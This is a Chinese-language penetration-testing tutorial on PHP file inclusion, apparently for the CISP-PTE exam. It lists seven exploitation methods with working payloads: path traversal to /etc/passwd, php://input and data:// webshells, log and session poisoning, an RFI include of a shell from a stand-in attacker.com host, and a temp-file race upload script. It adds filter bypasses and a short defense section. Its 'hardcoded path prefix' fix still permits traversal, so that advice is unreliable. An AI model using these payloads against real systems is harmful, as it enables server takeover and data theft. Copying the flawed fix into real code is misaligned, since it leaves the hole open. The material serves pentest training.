1. 文件包含漏洞渗透测试概述
文件包含(File Inclusion)漏洞是Web安全测试中的经典高危漏洞类型,在CISP-PTE认证考试中占据重要地位。这类漏洞允许攻击者通过参数操控包含服务器上的任意文件,轻则导致敏感信息泄露,重则可能获得服务器控制权。实际渗透测试中,我们主要遇到两种类型:
- 本地文件包含(LFI):包含服务器本地的系统文件
- 远程文件包含(RFI):通过URL包含远程服务器上的恶意文件
去年在某金融企业的红队评估中,我们通过一个简单的LFI漏洞最终拿到了整个集群的权限链。攻击者首先利用文件包含读取了Apache配置,继而获取数据库凭证,最后通过数据库写文件获得Webshell。这个案例充分证明了文件包含漏洞的严重性。
2. 七种实战渗透方法详解
2.1 基础路径遍历攻击
这是最直接的利用方式,通过../目录穿越读取系统文件。在测试某政府网站时,我们发现这样的参数:
code复制/include.php?file=../../../../etc/passwd
关键技巧:
- Windows系统尝试读取
C:\Windows\system32\drivers\etc\hosts - Linux系统重点关注
/etc/passwd、/proc/self/environ等 - 编码绕过:使用URL编码(如
%2e%2e%2f)、双重编码(%252e%252e%252f)
注意:现代系统通常会对
../进行过滤,但很多开发者的过滤逻辑存在缺陷。我们曾遇到只替换一次../的情况,通过....//就能绕过。
2.2 PHP伪协议利用
PHP内置的伪协议是文件包含的"瑞士军刀"。在某电商平台测试中,我们通过以下方式获取源码:
php复制?file=php://filter/convert.base64-encode/resource=index.php
常用伪协议:
php://filter:读取文件内容(需base64解码)php://input:执行POST传入的代码data://:直接包含代码(如data://text/plain,<?php phpinfo();?>)
实测案例:某CMS的/include/controller.php文件未校验输入,我们通过php://input直接上传了Webshell:
bash复制POST /include/controller.php?file=php://input HTTP/1.1
...
<?php system($_GET['cmd']);?>
2.3 日志文件注入
Web服务器日志是常见的包含目标。在某次内网渗透中,我们通过以下步骤获得shell:
- 在User-Agent中插入PHP代码:
http复制GET / HTTP/1.1
User-Agent: <?php system($_GET['cmd']);?>
- 包含日志文件:
code复制/include.php?file=../../var/log/apache2/access.log
关键点:
- 需要知道日志绝对路径(常见于
/var/log/apache2/、/var/log/nginx/) - 日志文件需有读取权限
- 如果包含失败,尝试包含
/proc/self/fd/下的文件描述符
2.4 Session文件包含
PHP的session文件(/tmp/sess_[PHPSESSID])可能包含用户可控数据。在某社交平台测试中:
- 设置session数据:
javascript复制document.cookie = "PHPSESSID=evilcode";
fetch('/?username=<?php system($_GET["cmd"]);?>')
- 包含session文件:
code复制/include.php?file=../../tmp/sess_evilcode
经验:这种利用需要精确预测session文件路径,可通过
phpinfo()获取session.save_path配置。
2.5 环境变量包含
/proc/self/environ包含所有环境变量,其中HTTP_USER_AGENT等字段用户可控。我们曾用如下方式利用:
http复制GET /include.php?file=../../proc/self/environ HTTP/1.1
User-Agent: <?php phpinfo();?>
注意事项:
- 需要
/proc文件系统支持 - PHP以CGI模式运行时环境变量更容易控制
- 现代系统通常限制对
/proc目录的访问
2.6 远程文件包含(RFI)
当allow_url_include=On时,可直接包含远程恶意代码。某次测试中发现如下漏洞:
code复制/include.php?file=http://attacker.com/shell.txt
其中shell.txt内容为:
php复制<?php system($_GET['cmd']);?>
绕过技巧:
- 使用IP十进制编码(如
http://2130706433/shell.txt) - 利用URL短服务隐藏恶意地址
- 配合DNS重绑定攻击绕过IP限制
2.7 临时文件竞争利用
上传文件时产生的临时文件可能被包含。在某文件管理系统测试中:
- 编写脚本持续上传含PHP代码的文件
- 同时暴力尝试包含
/tmp/php[随机6位]文件 - 成功获取到临时文件执行权限
python复制import requests
while True:
requests.post('/upload.php', files={'file': ('test.php', '<?php system($_GET["c"]);?>')})
3. 高级绕过与防御对抗
3.1 常见过滤绕过技巧
开发者的防御往往存在逻辑缺陷:
- 后缀黑名单绕过:
code复制file=../../etc/passwd%00 (PHP<5.3的截断)
file=../../etc/passwd.
- 路径校验绕过:
code复制file=....//....//etc/passwd
file=/var/www/./././etc/passwd
- 协议限制绕过:
code复制file=PHP://filter/convert.base64-encode/resource=/etc/passwd
3.2 现代环境下的利用挑战
随着PHP默认配置加固,传统方法可能失效:
allow_url_include默认关闭open_basedir限制文件访问范围- 系统加固限制
/proc访问
应对方案:
- 结合其他漏洞如XXE、SSRF进行链式利用
- 通过PHP的
SplFileObject等类间接读取文件 - 利用
/var/log/下的各种日志文件(auth.log, mail.log等)
4. 防御方案与检测方法
4.1 安全开发建议
- 代码层面:
php复制// 白名单校验
$allowed = ['header.php', 'footer.php'];
if(!in_array($_GET['file'], $allowed)) {
die('Invalid file!');
}
// 硬编码路径前缀
$base_dir = '/var/www/includes/';
include($base_dir . $_GET['file']);
- 服务器配置:
code复制php_admin_value allow_url_include Off
open_basedir /var/www:/tmp
4.2 渗透测试检测流程
标准检测步骤:
- 识别包含点:查找
include、require等参数 - 基础测试:尝试包含
/etc/passwd等已知文件 - 协议测试:尝试
php://filter等伪协议 - 日志注入:污染日志后尝试包含
- 上下文分析:根据报错信息调整攻击方式
自动化检测脚本示例:
python复制def test_lfi(url, param):
payloads = [
'../../etc/passwd',
'php://filter/convert.base64-encode/resource=index.php',
'/proc/self/environ'
]
for payload in payloads:
r = requests.get(url, params={param: payload})
if 'root:' in r.text or 'PD9waHA' in r.text:
return True
return False
5. 实战案例与经验总结
在某次企业红队演练中,我们发现一个看似无害的LFI:
code复制/download.php?file=../../config/database.php
通过这个入口,我们逐步获取到:
- 数据库凭证(读取配置文件)
- 管理员密码(从数据库dump)
- SSH私钥(通过数据库写文件到web目录)
最终拿下整个集群的控制权。这个案例告诉我们:永远不要低估文件包含漏洞的潜在危害。
关键经验:
- 每次测试都要尝试所有七种方法
- 注意观察报错信息,它们常包含路径提示
- 现代WAF可能拦截
../但放过URL编码 - 内网环境中的文件包含往往防护较弱